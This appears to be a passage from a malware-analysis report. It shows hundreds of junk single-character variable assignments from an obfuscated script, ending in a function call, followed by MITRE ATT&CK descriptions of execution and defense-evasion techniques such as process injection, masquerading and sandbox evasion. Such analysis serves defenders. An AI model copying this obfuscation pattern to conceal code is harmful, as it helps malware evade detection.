450	alccqmijn = "s";
451	alccqmijn = "F";
452	alccqmijn = "Z";
453	alccqmijn = "y";
454	alccqmijn = "b";
455	alccqmijn = "K";
456	alccqmijn = "c";
457	alccqmijn = "E";
458	alccqmijn = "Z";
459	alccqmijn = "5";
460	lexxh = "e";
461	lexxh = "N";
462	lexxh = "R";
463	lexxh = "u";
464	lexxh = "b";
465	lexxh = "k";
466	lexxh = "c";
467	lexxh = "K";
468	lexxh = "f";
469	lexxh = "k";
470	lexxh = "H";
471	lexxh = "P";
472	lexxh = "g";
473	lexxh = "i";
474	qmhsz = "s";
475	qmhsz = "F";
476	qmhsz = "S";
477	qmhsz = "t";
478	qmhsz = "k";
479	qmhsz = "h";
480	qmhsz = "e";
481	qmhsz = "f";
482	qmhsz = "l";
483	qmhsz = "w";
484	qmhsz = "P";
485	qmhsz = "w";
486	qmhsz = "E";
487	qmhsz = "q";
488	qmhsz = "U";
489	qmhsz = "g";
490	qmhsz = "X";
491	qmhsz = "0";
492	bwbydke = "f";
493	bwbydke = "/";
494	payovq = "K";
495	payovq = "z";
496	payovq = "T";
497	payovq = "Z";
498	payovq = "B";
499	payovq = "X";
500	payovq = "l";
501	payovq = "r";
502	payovq = "G";
503	payovq = "m";
504	payovq = "z";
505	payovq = "T";
506	payovq = "Q";
507	payovq = "n";
508	payovq = "h";
509	payovq = "L";
510	payovq = "Z";
511	payovq = "j";
512	kxcqpopn = "u";
513	kxcqpopn = "A";
514	kxcqpopn = "U";
515	kxcqpopn = "Z";
516	kxcqpopn = "Y";
517	kxcqpopn = "q";
518	kxcqpopn = "N";
519	equia = "E";
520	equia = "m";
521	equia = "G";
522	equia = "y";
523	equia = "a";
524	equia = "u";
525	equia = "w";
526	equia = "y";
527	equia = "s";
528	equia = "C";
529	equia = "S";
530	equia = "n";
531	equia = "I";
532	equia = "H";
533	equia = "k";
534	equia = "m";
535	equia = "b";
536	equia = "A";
537	equia = "M";
538	equia = "Q";
539	equia = "b";
540	equia = "9";
541	rgtcwzo = "c";
542	rgtcwzo = "c";
543	xvialg = "z";
544	xvialg = "j";
545	xvialg = "M";
546	xvialg = "z";
547	xvialg = "n";
548	xvialg = "G";
549	xvialg = "V";
550	xvialg = "n";
551	xvialg = "p";
552	xvialg = "K";
553	xvialg = "g";
554	xvialg = "D";
555	xvialg = "e";
556	xvialg = "j";
557	xvialg = "S";
558	xvialg = "y";
559	xvialg = "F";
560	xvialg = "u";
561	xvialg = "V";
562	xvialg = "R";
563	xvialg = "v";
564	xvialg = "b";
565	xvialg = "K";
566	xvialg = "j";
567	xvialg = "H";
568	xvialg = "P";
569	xvialg = "p";
570	xvialg = "v";
571	xvialg = "X";
572	xvialg = "f";
573	xvialg = "w";
574	xvialg = "N";
575	xvialg = "E";
576	xvialg = "r";
577	xvialg = "b";
578	xvialg = "z";
579	xvialg = "R";
580	xvialg = "3";
581	jycvxnivu = "n";
582	jycvxnivu = "o";
583	jycvxnivu = "m";
584	jycvxnivu = "z";
585	jycvxnivu = "X";
586	jycvxnivu = "A";
587	jycvxnivu = "C";
588	jycvxnivu = "I";
589	jycvxnivu = "h";
590	jycvxnivu = "G";
591	jycvxnivu = "W";
592	jycvxnivu = "d";
593	jycvxnivu = "D";
594	jycvxnivu = "T";
595	jycvxnivu = "X";
596	jycvxnivu = "z";
597	jycvxnivu = "K";
598	jycvxnivu = "G";
599	jycvxnivu = "I";
600	jycvxnivu = "H";
601	jycvxnivu = "U";
602	jycvxnivu = "J";
603	jycvxnivu = "a";
604	jycvxnivu = "z";
605	jycvxnivu = "k";
606	jycvxnivu = "r";
607	jycvxnivu = "Q";
608	jycvxnivu = "I";
609	jycvxnivu = "I";
610	jycvxnivu = "s";
611	jycvxnivu = "Y";
612	ngqhx = "z";
613	ngqhx = "c";
614	ngqhx = "K";
615	ngqhx = "m";
616	ngqhx = "x";
617	ngqhx = "R";
618	ngqhx = "h";
619	ngqhx = "w";
620	ngqhx = "Y";
621	ngqhx = "e";
622	ngqhx = "i";
623	ngqhx = "e";
624	ngqhx = "v";
625	ngqhx = "h";
626	ngqhx = "w";
627	ngqhx = "j";
628	ngqhx = "t";
629	ngqhx = "B";
630	ngqhx = "o";
631	ngqhx = "o";
632	ngqhx = "g";
633	ngqhx = "H";
634	ngqhx = "p";
635	ngqhx = "C";
636	ngqhx = "S";
637	ngqhx = "G";
638	ngqhx = "d";
639	ngqhx = "r";
640	ngqhx = "H";
641	ngqhx = "D";
642	ngqhx = "o";
643	ngqhx = "a";
644	ngqhx = "m";
645	ngqhx = "a";
646	xshxmiaic = "u";
647	xshxmiaic = "F";
648	xshxmiaic = "b";
649	xshxmiaic = "Z";
650	xshxmiaic = "Z";
651	xshxmiaic = "b";
652	xshxmiaic = "s";
653	xshxmiaic = "R";
654	xshxmiaic = "D";
655	xshxmiaic = "p";
656	xshxmiaic = "O";
657	xshxmiaic = "i";
658	xshxmiaic = "g";
659	xshxmiaic = "x";
660	xshxmiaic = "j";
661	xshxmiaic = "m";
662	xshxmiaic = "L";
663	xshxmiaic = "S";
664	xshxmiaic = "I";
665	xshxmiaic = "q";
666	xshxmiaic = "s";
667	xshxmiaic = "F";
668	xshxmiaic = "S";
669	weifmhjdf = "K";
670	weifmhjdf = "f";
671	weifmhjdf = "f";
672	weifmhjdf = "e";
673	weifmhjdf = "H";
674	weifmhjdf = "V";
675	weifmhjdf = "Z";
676	weifmhjdf = "s";
677	weifmhjdf = "a";
678	weifmhjdf = "F";
679	weifmhjdf = "V";
680	weifmhjdf = "b";
681	weifmhjdf = "e";
682	weifmhjdf = "v";
683	weifmhjdf = "z";
684	weifmhjdf = "D";
685	weifmhjdf = "M";
686	weifmhjdf = "s";
687	weifmhjdf = "F";
688	weifmhjdf = "d";
689	weifmhjdf = "N";
690	weifmhjdf = "c";
691	weifmhjdf = "w";
692	weifmhjdf = "U";
693	weifmhjdf = "f";
694	weifmhjdf = "B";
695	weifmhjdf = "z";
696	weifmhjdf = "G";
697	weifmhjdf = "x";
698	weifmhjdf = "h";
699	weifmhjdf = "d";
700	weifmhjdf = "U";
701	weifmhjdf = "N";
702	weifmhjdf = "i";
703	weifmhjdf = "A";
704	weifmhjdf = "I";
705	weifmhjdf = "U";
706	weifmhjdf = "Y";
707	weifmhjdf = "M";
708	weifmhjdf = "w";
709	weifmhjdf = "H";
710	weifmhjdf = "q";
711	wxzulurx = "X";
712	wxzulurx = "M";
713	wxzulurx = "W";
714	wxzulurx = "D";
715	wxzulurx = "S";
716	wxzulurx = "b";
717	wxzulurx = "s";
718	wxzulurx = "j";
719	wxzulurx = "A";
720	wxzulurx = "a";
721	wxzulurx = "B";
722	wxzulurx = "K";
723	wxzulurx = "l";
724	wxzulurx = "T";
725	wxzulurx = "a";
726	wxzulurx = "z";
727	wxzulurx = "-";
728	klqpyeu = "I";
729	klqpyeu = "v";
730	klqpyeu = "d";
731	klqpyeu = "K";
732	klqpyeu = "q";
733	klqpyeu = "J";
734	klqpyeu = "v";
735	klqpyeu = "q";
736	klqpyeu = "l";
737	klqpyeu = "V";
738	klqpyeu = "i";
739	klqpyeu = "c";
740	klqpyeu = "y";
741	klqpyeu = "o";
742	klqpyeu = "f";
743	klqpyeu = "y";
744	klqpyeu = "g";
745	klqpyeu = "v";
746	klqpyeu = "r";
747	klqpyeu = "c";
748	klqpyeu = "Y";
749	klqpyeu = "w";
750	klqpyeu = "a";
751	klqpyeu = "a";
752	klqpyeu = "n";
753	klqpyeu = "q";
754	klqpyeu = "L";
755	klqpyeu = "e";
756	klqpyeu = "w";
757	klqpyeu = "N";
758	klqpyeu = "c";
759	klqpyeu = "d";
760	klqpyeu = "V";
761	klqpyeu = "B";
762	klqpyeu = "a";
763	klqpyeu = "t";
764	klqpyeu = "6";
765	ekwsxuet = "T";
766	ekwsxuet = "N";
767	ekwsxuet = "D";
768	ekwsxuet = "r";
769	ekwsxuet = "v";
770	ekwsxuet = "U";
771	ekwsxuet = "w";
772	ekwsxuet = "n";
773	ekwsxuet = "m";
774	ekwsxuet = "o";
775	ekwsxuet = "Y";
776	ekwsxuet = "l";
777	ekwsxuet = "b";
778	ekwsxuet = "j";
779	ekwsxuet = "C";
780	ekwsxuet = "O";
781	ekwsxuet = "E";
782	ekwsxuet = "c";
783	ekwsxuet = "Z";
784	ekwsxuet = "c";
785	ekwsxuet = "k";
786	ekwsxuet = "G";
787	ekwsxuet = "s";
788	ekwsxuet = "N";
789	ekwsxuet = "X";
790	ekwsxuet = "j";
791	ekwsxuet = "O";
792	ekwsxuet = "B";
793	ekwsxuet = "s";
794	ekwsxuet = "n";
795	ekwsxuet = "M";
796	ekwsxuet = "R";
797	uphifxn = "K";
798	uphifxn = "H";
799	uphifxn = "q";
800	uphifxn = "S";
801	uphifxn = "D";
802	uphifxn = "Y";
803	uphifxn = "H";
804	uphifxn = "g";
805	uphifxn = "J";
806	uphifxn = "c";
807	uphifxn = "z";
808	uphifxn = "w";
809	uphifxn = "F";
810	uphifxn = "t";
811	uphifxn = "N";
812	uphifxn = "A";
813	uphifxn = "y";
814	uphifxn = "J";
815	uphifxn = "G";
816	uphifxn = "p";
817	uphifxn = "q";
818	uphifxn = "t";
819	uphifxn = "p";
820	uphifxn = "s";
821	uphifxn = "j";
822	uphifxn = "v";
823	pffaogw = "t";
824	pffaogw = "p";
825	pffaogw = "c";
826	pffaogw = "X";
827	pffaogw = "I";
828	pffaogw = "w";
829	pffaogw = "L";
830	pffaogw = "Y";
831	pffaogw = "r";
832	pffaogw = "Q";
833	pffaogw = "A";
834	pffaogw = "m";
835	pffaogw = "d";
836	pffaogw = "T";
837	pffaogw = "M";
838	pffaogw = "y";
839	pffaogw = "y";
840	pffaogw = "m";
841	pffaogw = "O";
842	pffaogw = "J";
843	pffaogw = "S";
844	pffaogw = "A";
845	pffaogw = "A";
846	pffaogw = "h";
847	pffaogw = "a";
848	pffaogw = "y";
849	pffaogw = "c";
850	pffaogw = "n";
851	pffaogw = "j";
852	pffaogw = "M";
853	pffaogw = "j";
854	pffaogw = "c";
855	pffaogw = "n";
856	pffaogw = "Y";
857	pffaogw = "K";
858	pffaogw = "t";
859	pffaogw = "T";
860	pffaogw = "P";
861	pffaogw = "L";
862	pffaogw = "L";
863	pffaogw = "r";
864	pffaogw = "a";
865	pffaogw = "p";
866	pffaogw = "h";
867	pffaogw = "o";
868	xipdrypvw = "a";
869	xipdrypvw = "q";
870	xipdrypvw = "1";
871	qzczi = "I";
872	qzczi = "R";
873	qzczi = "I";
874	qzczi = "C";
875	qzczi = "G";
876	qzczi = "C";
877	qzczi = "@";
878	ptgppaimj = "g";
879	ptgppaimj = "C";
880	ptgppaimj = "S";
881	ptgppaimj = "f";
882	ptgppaimj = "g";
883	ptgppaimj = "s";
884	ptgppaimj = "c";
885	ptgppaimj = "V";
886	ptgppaimj = "N";
887	ptgppaimj = "h";
888	ptgppaimj = "N";
889	ptgppaimj = "X";
890	ptgppaimj = "C";
891	ptgppaimj = "L";
892	ptgppaimj = "t";
893	ptgppaimj = "X";
894	ptgppaimj = "p";
895	ptgppaimj = "h";
896	ptgppaimj = "k";
897	ptgppaimj = "z";
898	ptgppaimj = "B";
899	ptgppaimj = "E";
900	ptgppaimj = "b";
901	retdgg = "A";
902	retdgg = "b";
903	retdgg = "F";
904	retdgg = "T";
905	retdgg = "R";
906	retdgg = "J";
907	retdgg = "F";
908	retdgg = "s";
909	retdgg = "j";
910	retdgg = "E";
911	retdgg = "k";
912	retdgg = "a";
913	retdgg = "E";
914	retdgg = "X";
915	retdgg = "k";
916	retdgg = "y";
917	retdgg = "p";
918	retdgg = "X";
919	retdgg = "p";
920	retdgg = "X";
921	retdgg = "Z";
922	retdgg = "n";
923	retdgg = "U";
924	tmkkuvj = "w";
925	tmkkuvj = "M";
926	tmkkuvj = "J";
927	tmkkuvj = "c";
928	tmkkuvj = "I";
929	tmkkuvj = "d";
930	tmkkuvj = "m";
931	tmkkuvj = "h";
932	tmkkuvj = "x";
933	tmkkuvj = "j";
934	tmkkuvj = "p";
935	tmkkuvj = "C";
936	tmkkuvj = "y";
937	tmkkuvj = "N";
938	tmkkuvj = "w";
939	tmkkuvj = "L";
940	tmkkuvj = "O";
941	tmkkuvj = "X";
942	tmkkuvj = "a";
943	tmkkuvj = "J";
944	tmkkuvj = "E";
945	tmkkuvj = "T";
946	tmkkuvj = "Y";
947	tmkkuvj = "y";
948	tmkkuvj = "W";
949	tmkkuvj = "e";
950	tmkkuvj = "J";
951	tmkkuvj = "V";
952	tmkkuvj = "H";
953	tmkkuvj = "D";
954	tmkkuvj = "Z";
955	tmkkuvj = "i";
956	tmkkuvj = "w";
957	tmkkuvj = "j";
958	tmkkuvj = "k";
959	tmkkuvj = "b";
960	tmkkuvj = "n";
961	tmkkuvj = "r";
962	vaexb = "2";
963	xjaidc = "v";
964	xjaidc = "W";
965	xjaidc = "O";
966	aybcxf = "t";
967	aybcxf = "K";
968	aybcxf = "L";
969	aybcxf = "W";
970	aybcxf = "d";
971	aybcxf = "S";
972	aybcxf = "L";
973	aybcxf = "G";
974	aybcxf = "v";
975	aybcxf = "t";
976	aybcxf = "E";
977	aybcxf = "Z";
978	aybcxf = "%";
979	mchtp = "Z";
980	mchtp = "x";
981	mchtp = "Y";
982	mchtp = "l";
983	mchtp = "l";
984	mchtp = "N";
985	mchtp = "n";
986	mchtp = "a";
987	mchtp = "a";
988	mchtp = "j";
989	mchtp = "W";
990	mchtp = "m";
991	mchtp = "A";
992	mchtp = "K";
993	mchtp = "U";
994	mchtp = "d";
995	mchtp = "c";
996	mchtp = "h";
997	mchtp = "A";
998	mchtp = "k";
999	mchtp = "O";
1000	mchtp = "a";
1001	mchtp = "j";
1002	mchtp = "u";
1003	mchtp = "k";
1004	mchtp = "b";
1005	mchtp = "U";
1006	mchtp = "e";
1007	mchtp = "H";
1008	fvgod = "v";
1009	fvgod = "p";
1010	fvgod = "r";
1011	fvgod = "g";
1012	fvgod = "Q";
1013	fvgod = "l";
1014	fvgod = "u";
1015	fvgod = "p";
1016	fvgod = "x";
1017	fvgod = "N";
1018	fvgod = "Z";
1019	fvgod = "z";
1020	fvgod = "L";
1021	fvgod = "J";
1022	fvgod = "M";
1023	fvgod = "P";
1024	fvgod = "V";
1025	fvgod = "D";
1026	fvgod = "C";
1027	fvgod = "i";
1028	fvgod = "n";
1029	fvgod = "F";
1030	fvgod = "P";
1031	qymdnpks = "I";
1032	qymdnpks = "Z";
1033	qymdnpks = "l";
1034	qymdnpks = "n";
1035	qymdnpks = "p";
1036	qymdnpks = "q";
1037	qymdnpks = "v";
1038	qymdnpks = "y";
1039	qymdnpks = "N";
1040	qymdnpks = "W";
1041	qymdnpks = "k";
1042	qymdnpks = "U";
1043	qymdnpks = "Z";
1044	qymdnpks = "H";
1045	qymdnpks = "h";
1046	qymdnpks = "L";
1047	qymdnpks = "L";
1048	qymdnpks = "n";
1049	qymdnpks = "J";
1050	qymdnpks = "D";
1051	qymdnpks = "x";
1052	qymdnpks = "V";
1053	qymdnpks = "z";
1054	qymdnpks = "D";
1055	qymdnpks = "r";
1056	qymdnpks = "d";
1057	qymdnpks = "w";
1058	qymdnpks = "y";
1059	qymdnpks = "p";
1060	qymdnpks = "x";
1061	qymdnpks = "A";
1062	qymdnpks = ":";
1063	zygzp = "Q";
1064	zygzp = "V";
1065	zygzp = "N";
1066	zygzp = "I";
1067	zygzp = "L";
1068	zygzp = "Z";
1069	zygzp = "c";
1070	zygzp = "n";
1071	zygzp = "e";
1072	zygzp = "z";
1073	zygzp = "x";
1074	zygzp = "S";
1075	zygzp = "x";
1076	zygzp = "a";
1077	zygzp = "B";
1078	zygzp = "F";
1079	hgjfj = "N";
1080	hgjfj = "m";
1081	hgjfj = "E";
1082	hgjfj = "k";
1083	hgjfj = "M";
1084	hgjfj = "s";
1085	hgjfj = "Y";
1086	hgjfj = "y";
1087	hgjfj = "h";
1088	hgjfj = "e";
1089	hgjfj = "D";
1090	hgjfj = "w";
1091	hgjfj = "L";
1092	hgjfj = "U";
1093	hgjfj = "o";
1094	hgjfj = "J";
1095	hgjfj = "m";
1096	hgjfj = "i";
1097	hgjfj = "q";
1098	hgjfj = "t";
1099	hgjfj = "s";
1100	hgjfj = "y";
1101	hgjfj = "y";
1102	hgjfj = "m";
1103	hgjfj = "I";
1104	hgjfj = "L";
1105	ceehxcq = "s";
1106	ceehxcq = "L";
1107	ceehxcq = "s";
1108	ceehxcq = "v";
1109	ceehxcq = "p";
1110	ceehxcq = "y";
1111	ceehxcq = "U";
1112	ceehxcq = "o";
1113	ceehxcq = "c";
1114	ceehxcq = "Y";
1115	ceehxcq = "O";
1116	ceehxcq = "B";
1117	ceehxcq = "L";
1118	ceehxcq = "q";
1119	ceehxcq = "G";
1120	ceehxcq = "e";
1121	ceehxcq = "H";
1122	ceehxcq = "X";
1123	ceehxcq = "n";
1124	ceehxcq = "H";
1125	ceehxcq = "o";
1126	ceehxcq = "j";
1127	ceehxcq = "Z";
1128	ceehxcq = "Q";
1129	ceehxcq = "a";
1130	ceehxcq = "x";
1131	ceehxcq = "p";
1132	ceehxcq = "Y";
1133	ceehxcq = "O";
1134	ceehxcq = "f";
1135	ceehxcq = "k";
1136	ceehxcq = "K";
1137	ceehxcq = "P";
1138	ceehxcq = "l";
1139	ceehxcq = "r";
1140	ceehxcq = "w";
1141	ceehxcq = "C";
1142	ceehxcq = "K";
1143	ceehxcq = "V";
1144	ceehxcq = "w";
1145	ceehxcq = "e";
1146	ceehxcq = "s";
1147	ceehxcq = "c";
1148	ceehxcq = "\"";
1149	rgjbedwm = "s";
1150	rgjbedwm = "t";
1151	rgjbedwm = "l";
1152	rgjbedwm = "H";
1153	rgjbedwm = "i";
1154	rgjbedwm = "e";
1155	rgjbedwm = "&";
1156	znllvdime = "m";
1157	znllvdime = "z";
1158	znllvdime = "P";
1159	znllvdime = "e";
1160	iearxh = "i";
1161	iearxh = "d";
1162	iearxh = "w";
1163	iearxh = "N";
1164	iearxh = "P";
1165	iearxh = "M";
1166	iearxh = "u";
1167	iearxh = "Q";
1168	iearxh = "d";
1169	iearxh = "s";
1170	iearxh = "d";
1171	iearxh = "o";
1172	iearxh = "P";
1173	iearxh = "k";
1174	iearxh = "x";
1175	iearxh = "i";
1176	iearxh = "O";
1177	iearxh = "V";
1178	iearxh = "H";
1179	iearxh = "E";
1180	iearxh = "P";
1181	iearxh = "y";
1182	iearxh = "U";
1183	iearxh = "T";
1184	iearxh = "o";
1185	iearxh = "r";
1186	iearxh = "Q";
1187	iearxh = "t";
1188	iearxh = "k";
1189	iearxh = "k";
1190	iearxh = "k";
1191	owacixog = "S";
1192	owacixog = "A";
1193	owacixog = "w";
1194	owacixog = "Z";
1195	owacixog = "z";
1196	owacixog = "q";
1197	owacixog = "F";
1198	owacixog = "A";
1199	owacixog = "C";
1200	owacixog = "t";
1201	owacixog = "V";
1202	owacixog = "y";
1203	owacixog = "w";
1204	owacixog = "V";
1205	owacixog = "f";
1206	owacixog = "N";
1207	owacixog = "L";
1208	owacixog = "I";
1209	owacixog = "C";
1210	owacixog = "D";
1211	owacixog = "J";
1212	owacixog = "t";
1213	owacixog = "Q";
1214	owacixog = "a";
1215	owacixog = "x";
1216	owacixog = "l";
1217	jkpfbrjm = "Q";
1218	jkpfbrjm = "y";
1219	jkpfbrjm = "G";
1220	jkpfbrjm = "X";
1221	jkpfbrjm = "T";
1222	jkpfbrjm = "W";
1223	jkpfbrjm = "R";
1224	jkpfbrjm = "w";
1225	jkpfbrjm = "E";
1226	jkpfbrjm = "P";
1227	jkpfbrjm = "g";
1228	jkpfbrjm = "O";
1229	jkpfbrjm = "y";
1230	jkpfbrjm = "B";
1231	jkpfbrjm = "W";
1232	jkpfbrjm = "J";
1233	jkpfbrjm = "b";
1234	jkpfbrjm = "r";
1235	jkpfbrjm = "B";
1236	jkpfbrjm = "g";
1237	jkpfbrjm = "t";
1238	jkpfbrjm = "D";
1239	jkpfbrjm = "d";
1240	jkpfbrjm = "H";
1241	jkpfbrjm = "A";
1242	jkpfbrjm = "P";
1243	jkpfbrjm = "l";
1244	jkpfbrjm = "c";
1245	jkpfbrjm = "f";
1246	jkpfbrjm = "K";
1247	lhdzwpu = "A";
1248	lhdzwpu = "y";
1249	lhdzwpu = "E";
1250	lhdzwpu = "F";
1251	lhdzwpu = "L";
1252	lhdzwpu = "A";
1253	lhdzwpu = "x";
1254	lhdzwpu = "S";
1255	lhdzwpu = "L";
1256	lhdzwpu = "p";
1257	lhdzwpu = "W";
1258	lhdzwpu = "G";
1259	lhdzwpu = "N";
1260	lhdzwpu = "v";
1261	lhdzwpu = "h";
1262	lhdzwpu = "T";
1263	lhdzwpu = "U";
1264	lhdzwpu = "j";
1265	lhdzwpu = "p";
1266	lhdzwpu = "L";
1267	lhdzwpu = "z";
1268	lhdzwpu = "Z";
1269	lhdzwpu = "k";
1270	lhdzwpu = "x";
1271	lhdzwpu = "d";
1272	lhdzwpu = "Y";
1273	lhdzwpu = "F";
1274	lhdzwpu = "N";
1275	lhdzwpu = "j";
1276	lhdzwpu = "E";
1277	lhdzwpu = "j";
1278	lhdzwpu = "v";
1279	lhdzwpu = "R";
1280	lhdzwpu = "F";
1281	lhdzwpu = "L";
1282	lhdzwpu = "h";
1283	lhdzwpu = "E";
1284	lhdzwpu = "H";
1285	lhdzwpu = "Q";
1286	lhdzwpu = "4";
1287	rygrfcvy = "Y";
1288	rygrfcvy = "L";
1289	rygrfcvy = "e";
1290	rygrfcvy = "x";
1291	rygrfcvy = "X";
1292	rygrfcvy = "z";
1293	rygrfcvy = "y";
1294	rygrfcvy = "f";
1295	rygrfcvy = "f";
1296	rygrfcvy = "H";
1297	rygrfcvy = "r";
1298	rygrfcvy = "Y";
1299	rygrfcvy = "O";
1300	rygrfcvy = "8";
1301	nvjkaky = "q";
1302	nvjkaky = "t";
1303	nvjkaky = "t";
1304	jribg = "T";
1305	jribg = "K";
1306	jribg = "q";
1307	jribg = "\\";
1308	gliukbzz = "X";
1309	gliukbzz = "x";
1310	gliukbzz = "a";
1311	gliukbzz = "X";
1312	gliukbzz = "g";
1313	gliukbzz = "u";
1314	gliukbzz = "X";
1315	gliukbzz = "h";
1316	gliukbzz = "a";
1317	gliukbzz = "h";
1318	gliukbzz = "F";
1319	gliukbzz = "r";
1320	gliukbzz = "e";
1321	gliukbzz = "n";
1322	gliukbzz = "o";
1323	gliukbzz = "f";
1324	gliukbzz = "w";
1325	gliukbzz = "W";
1326	gliukbzz = "P";
1327	gliukbzz = "v";
1328	gliukbzz = "Q";
1329	gliukbzz = "D";
1330	gliukbzz = "B";
1331	gliukbzz = "K";
1332	gliukbzz = "S";
1333	gliukbzz = "a";
1334	gliukbzz = "h";
1335	gliukbzz = "t";
1336	gliukbzz = "I";
1337	gliukbzz = "L";
1338	gliukbzz = "U";
1339	gliukbzz = "P";
1340	gliukbzz = "a";
1341	gliukbzz = "m";
1342	gliukbzz = "z";
1343	gliukbzz = "t";
1344	gliukbzz = "J";
1345	gliukbzz = "a";
1346	gliukbzz = "P";
1347	gliukbzz = "y";
1348	gliukbzz = "N";
1349	gliukbzz = "g";
1350	sqwbqk = "x";
1351	sqwbqk = "L";
1352	sqwbqk = "R";
1353	sqwbqk = "f";
1354	sqwbqk = "q";
1355	sqwbqk = "T";
1356	sqwbqk = "f";
1357	bevry = "X";
1358	bevry = "w";
1359	bevry = "E";
1360	bevry = "u";
1361	bevry = "F";
1362	bevry = "Q";
1363	bevry = ".";
1364	havdnaq = "y";
1365	havdnaq = "q";
1366	havdnaq = "R";
1367	havdnaq = "n";
1368	havdnaq = "L";
1369	havdnaq = "v";
1370	havdnaq = "Y";
1371	havdnaq = "c";
1372	havdnaq = "y";
1373	havdnaq = "O";
1374	havdnaq = "p";
1375	havdnaq = "R";
1376	havdnaq = "V";
1377	havdnaq = "A";
1378	havdnaq = "o";
1379	havdnaq = "E";
1380	havdnaq = "o";
1381	havdnaq = "e";
1382	havdnaq = "b";
1383	havdnaq = "u";
1384	havdnaq = "l";
1385	havdnaq = "q";
1386	havdnaq = "u";
1387	havdnaq = "p";
1388	havdnaq = "p";
1389	havdnaq = "C";
1390	havdnaq = "C";
1391	lnpasqmpd = "v";
1392	lnpasqmpd = "t";
1393	lnpasqmpd = "U";
1394	lnpasqmpd = "c";
1395	lnpasqmpd = "b";
1396	lnpasqmpd = "C";
1397	lnpasqmpd = "U";
1398	lnpasqmpd = "Q";
1399	lnpasqmpd = "y";
1400	lnpasqmpd = "f";
1401	lnpasqmpd = "A";
1402	lnpasqmpd = "a";
1403	lnpasqmpd = "i";
1404	lnpasqmpd = "w";
1405	lnpasqmpd = "o";
1406	lnpasqmpd = "M";
1407	lnpasqmpd = "J";
1408	lnpasqmpd = "z";
1409	lnpasqmpd = "I";
1410	lnpasqmpd = "Z";
1411	lnpasqmpd = "A";
1412	lnpasqmpd = "j";
1413	lnpasqmpd = "q";
1414	lnpasqmpd = "S";
1415	lnpasqmpd = "p";
1416	lnpasqmpd = "e";
1417	lnpasqmpd = "i";
1418	lnpasqmpd = "m";
1419	lnpasqmpd = "j";
1420	lnpasqmpd = "Q";
1421	cmgagceox ( );	cmgagceox() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

